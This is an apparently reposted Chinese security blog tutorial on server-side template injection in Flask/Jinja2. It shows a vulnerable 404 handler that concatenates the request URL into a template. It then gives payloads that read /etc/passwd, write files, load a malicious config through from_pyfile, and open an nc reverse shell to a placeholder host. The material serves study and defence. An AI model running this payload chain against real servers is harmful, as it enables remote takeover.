Flask/Jinja 模板注入

  • Flask/Jinja 模板注入已关闭评论
  • 5 views
  • A+
所属分类:安全文章

0x00

最近看了国外几篇关于模板注入的文章, 自己也在这里加上自己的一些东西总结一下.

Server-Side Template InjectionJames Kettle

Exploring SSTI in Flask/Jinja2Tim Tomes

Exploring SSTI in Flask/Jinja2, Part IITim Tomes

0x01 万恶的拼接

我们先看这段处理网站404状态的代码

1

2

3

4

5

6

7

8

9

10

11

@app.errorhandler(404)

def page_not_found(e):

template = '''

{%% block body %%}

<div class="center-content error">

<h1>Oops! That page doesn't exist.</h1>

<h3>%s</h3>

</div>

{%% endblock %%}

''' % (request.url)

return render_template_string(template), 404

这段代码没有从模板文件而是用 render_template_string() 直接从一个字符串渲染到了html. 从模板文件还是从字符串倒不是什么大问题, 主要是它渲染的那个字符串是和用户的输入(request.url)拼接过的. 要知道这里的 template 存的并不是纯数据而是有一部分控制功能在里面的. 这就产生了代码域与数据域的混淆, 只要出现了这样的情况十有八九就会有洞. 首先最直接的, html模板渲染到html, 插入到html就肯定会有XSS.

Flask/Jinja 模板注入20170530149609702857674.png

0x02 不仅仅是客户端

我们都知道html里面拼接数据是XSS攻击的是客户端, 然而html模板并不仅仅是html, 还有能被模板渲染引擎解释的模板代码, 这样一来我们就能插入在服务器端执行的代码. 让我们试一下

Flask/Jinja 模板注入20170530149609767354923.png

看来是可以的, 再试一个

Flask/Jinja 模板注入20170530149609777784600.png

WOW, 连secret_key都爆出来了(还记得hitcon有个题就是这个套路)

0x03 读写文件

当然, 我们的目标肯定不能止步于一个 泄露出来的信息. 我们想的当然是最好能拿到一个shell.

要拿到shell, 就很难避免要执行命令, 而Jinja和Flask的template是不太可能提供这种功能的(事实上也没有), 所以在这种环境下, 肯定就要想办法调用python的 system() 或者 check_output() 之类可以执行命令的函数.

首先在Flask/Jinja的模板中, python的字符串,数字这类基本对象是肯定是支持的

Flask/Jinja 模板注入20170530149610443015120.png

其实根据以前在CTF里面的经验, 不难想到先试着调用一下这些对象的内置方法, 去看一下当前环境下能访问哪些对象 ''.__class__.__mro__[2].__subclasses__() , 或者 (1).__class__.__base__.__subclasses__()

Flask/Jinja 模板注入20170530149613100464149.png

这里还是稍微写一下, 首先 ''.__class__ 可以访问到字符串的类型对象(关于python中的类型对象参见Python Types and Objects)

Flask/Jinja 模板注入20170530149613122259818.png

因为python中所有的对象都是从Object逐级继承来的, 类型对象也不除外, 所有我们就可以调用对象的 __base__ 方法访问该对象所继承的对象

Flask/Jinja 模板注入20170530149613167899580.png

或者使用 __mro__(Method Resolution Order) 直接获得对象的继承链, python用这个方法来确定对象方法解析的顺序

Flask/Jinja 模板注入20170530149613202779829.png

当我们访问到Object的类型对象的时候, 就可以用 __subclasses__()来获得当前环境下能够访问的所有对象.

因为调用对象的 __subclasses__() 方法会返回当前环境中所有继承于该对象的对象.

我们仔细过一遍环境里面存在的对象, 首先引起我们注意的肯定就是这个python内建的file对象

Flask/Jinja 模板注入20170530149614817497351.png

至少我们能读写文件了.

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd', 'r').read()

Flask/Jinja 模板注入20170530149614845235931.png

''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test', 'w').write('AAAAAAAAAAAAAAAAAA')

Flask/Jinja 模板注入2017053014961485844412.png

但是即使可以写文件, 好像也拿不到shell, 因为这又不像是PHP, 文件或者说代码的执行我们是很难控制的.

那么就再看看别的对象, 看了一圈好像确实找不到能让我们离命令执行更进一步的对象了, 看来单纯用这种方式很难拿到shell了

0x04 沙盒逃逸

卡住了以后就按照James大佬的思路, 在我们判断出存在SSTI之后, 下一步要做的就是仔细阅读文档, 挖掘一下在当前的环境下有哪些可以利用的点

  • ‘For Template Authors’ sections covering basic syntax.
  • ‘Security Considerations’ - chances are whoever developed the app you’re testing didn’t read this, and it may contain some useful hints.
  • Lists of builtin methods, functions, filters, and variables.
  • Lists of extensions/plugins - some may be enabled by default.

在阅读Flask和Jinja的文档的时候, 要仔细翻的就两个部分

仔细翻阅之后, 我们在Flask的config对象上找到了突破点, 查看文档发现config对象有一个from_pyfile()的方法用于从.py文件中读取配置到config中. 我们去flask的源代码里仔细看一看这个函数的行为

config.py

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

def from_pyfile(self, filename, silent=False):

"""Updates the values in the config from a Python file. This function

behaves as if the file was imported as module with the

:meth:`from_object` function.

:param filename: the filename of the config. This can either be an

absolute filename or a filename relative to the

root path.

:param silent: set to ``True`` if you want silent failure for missing

files.

.. versionadded:: 0.7

`silent` parameter.

"""

filename = os.path.join(self.root_path, filename)

d = types.ModuleType('config')

d.__file__ = filename

try:

with open(filename) as config_file:

exec(compile(config_file.read(), filename, 'exec'), d.__dict__)

except IOError as e:

if silent and e.errno in (errno.ENOENT, errno.EISDIR):

return False

e.strerror = 'Unable to load configuration file (%s)' % e.strerror

raise

self.from_object(d)

return True

def from_object(self, obj):

"""Updates the values from the given object. An object can be of one

of the following two types:

- a string: in this case the object with that name will be imported

- an actual object reference: that object is used directly

Objects are usually either modules or classes.

Just the uppercase variables in that object are stored in the config.

Example usage::

app.config.from_object('yourapplication.default_config')

from yourapplication import default_config

app.config.from_object(default_config)

You should not use this function to load the actual configuration but

rather configuration defaults. The actual config should be loaded

with :meth:`from_pyfile` and ideally from a location not within the

package because the package might be installed system wide.

:param obj: an import name or object

"""

if isinstance(obj, string_types):

obj = import_string(obj)

for key in dir(obj):

if key.isupper():

self[key] = getattr(obj, key)

flask有 from_json, from_envvar, from_object, from_mapping, from_pyfile 等好几个更新配置的方法, 但是相比于其它 from_pyfile 这个方法的实现有点特殊. 我们看上面的源码, 首先新建一个module对象d, 然后把传入的文件读出来用compile()编译成exec()可以执行的code对象, 然后执行, 并且把 d.__dict__ 用作代码对象code执行的scope. 这句话可能比较抽象, 或者我说的不准确, 这里放一张调试的图, 相信大家一看就明白了

Flask/Jinja 模板注入2017053114961670666146.png

然后又将d传入了 from_object 方法, from_object 方法遍历 d.__dict__ 将键名为大写的键值对更新到当前环境的config对象中.

所以如果我们能让 from_pyfile 去读这样的一个文件

1

2

from os import system

SHELL = system

那么我们访问 config['SHELL'] 时, 实际上就能访问到 system 函数了. 而我们前面又已经做到了文件读写, 所以两个点结合起来我们就完全可以拿到SHELL

Flask/Jinja 模板注入20170531149616851775623.png

Flask/Jinja 模板注入20170531149616854020117.png

我们最终的payload为

1

2

3

4

5

6

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}

//写文件

{{ config.from_pyfile('/tmp/evil') }}

//加载system

{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}

//执行命令反弹SHELL

0x05 参考

http://www.cafepy.com/article/python_types_and_objects/python_types_and_objects.html

http://flask.pocoo.org/docs/0.12/api/#flask.Config.from_pyfile

https://docs.python.org/3/library/types.html

https://docs.python.org/3/library/functions.html#exec